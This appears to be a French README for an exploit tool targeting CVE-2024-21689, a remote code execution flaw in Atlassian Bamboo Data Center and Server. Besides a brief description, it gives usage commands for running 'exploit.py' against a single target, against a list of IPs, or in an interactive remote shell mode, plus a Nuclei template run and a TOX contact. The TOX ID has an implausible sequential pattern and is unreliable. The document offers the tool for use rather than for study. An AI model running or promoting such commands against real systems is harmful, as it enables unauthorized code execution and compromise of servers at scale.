CVE-2024-21689

#CVE-2024–21689 RCE Bamboo Data Center et Serveur Atlassian

Score CVSS - 7.6 🔥

Description

Cette vulnérabilité RCE (Exécution de Code à Distance) de sévérité élevée, identifiée CVE-2024-21689, a été introduite dans les versions 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 et 9.6.0 de Bamboo Data Center et Serveur. Cette vulnérabilité RCE (Exécution de Code à Distance), avec un score CVSS de 7.6, permet à un attaquant authentifié d'exécuter du code arbitraire, ce qui a un impact élevé sur la confidentialité, un impact élevé sur l'intégrité, un impact élevé sur la disponibilité, et nécessite une interaction de l'utilisateur.

Exécution du script

• Mode URL unique :

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• Mode fichier (pour plusieurs IP) :

  python3 exploit.py -f ips.txt -c "whoami"
  

• Mode shell interactif :

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei :

  nuclei exploit.yaml -f file.txt
  

Contact

Contactez-moi sur TOX : 6FDB3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0TQDQ2